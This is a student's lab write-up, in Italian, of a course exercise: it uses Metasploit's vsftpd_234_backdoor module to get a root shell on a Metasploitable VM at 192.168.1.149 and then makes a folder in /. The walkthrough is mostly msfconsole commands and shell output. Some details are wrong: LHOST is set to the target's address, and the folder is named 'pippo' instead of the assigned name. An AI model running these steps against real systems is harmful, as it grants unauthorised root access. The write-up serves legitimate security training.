

Esercizio W15D4

Traccia: Partendo dall’esercizio guidato visto nella lezione teorica, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica). L’unica differenza, sarà l’indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito:

192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (`/`). Chiamate la cartella `test_metasploit`.

1. Configurazione dell'ambiente:

- La macchina Metasploitable è stata configurata con l'indirizzo IP **192.168.1.149**.
- La macchina Kali Linux è stata configurata con l'indirizzo IP **192.168.1.120**.

2. Avvio di Metasploit:

- Metasploit è stato avviato nella macchina Kali Linux eseguendo il comando **msfconsole**.

[illegible]

3. Identificazione dell'exploit:

- Utilizzando il comando **search vsftpd**, abbiamo individuato l'exploit **exploit/unix/ftp/vsftpd_234_backdoor**.

4. Configurazione dell'exploit:

- Abbiamo selezionato l'exploit **exploit/unix/ftp/vsftpd_234_backdoor**.
- Abbiamo impostato l'indirizzo IP della nostra macchina Kali Linux come LHOST utilizzando il comando **set LHOST 192.168.1.149**

5. Avvio dell'exploit:

- Dopo aver impostato correttamente l'indirizzo IP della nostra macchina Kali Linux e quello della macchina Metasploitable, abbiamo eseguito l'exploit utilizzando il comando **exploit**.

6. Risultato dell'exploit:

- Abbiamo avuto successo nell'ottenere il controllo della shell di Metasploitable attraverso l'exploit su VSFTPD.

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.120:37535 → 192.168.1.149:6200) at 2024-03-22 14:28:22 -0400
```

- Abbiamo eseguito con successo il comando per creare la cartella "pippo" nella directory di root (/) sulla macchina Metasploitable.

```
kali@kali: ~
File Actions Edit View Help
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.120:37535 → 192.168.1.149:6200) at 2024-03-22 14:28:22 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:c6:f6:ed
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec6:f6ed/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:782 errors:0 dropped:0 overruns:0 frame:0
          TX packets:86 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:56731 (55.4 KB)  TX bytes:10337 (10.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
          TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:52465 (51.2 KB)  TX bytes:52465 (51.2 KB)

sudo su
mkdir /pippo
```

```
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ cd root
-bash: cd: root: No such file or directory
msfadmin@metasploitable:~$ ls
update  vulnerable
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bbbbbbbbbbRD#####1IN  dev      initrd.img  mnt         proc        sys         vmlinuz
bin                     etc       lib         nohup.out   root        tmp
boot                   home     lost+found  opt         sbin        usr
cdrom                  initrd    media       pippo      srv         var
msfadmin@metasploitable:/$
```

7. Prossimi passi:

- Possiamo esplorare ulteriori opportunità di attacco sulla macchina Metasploitable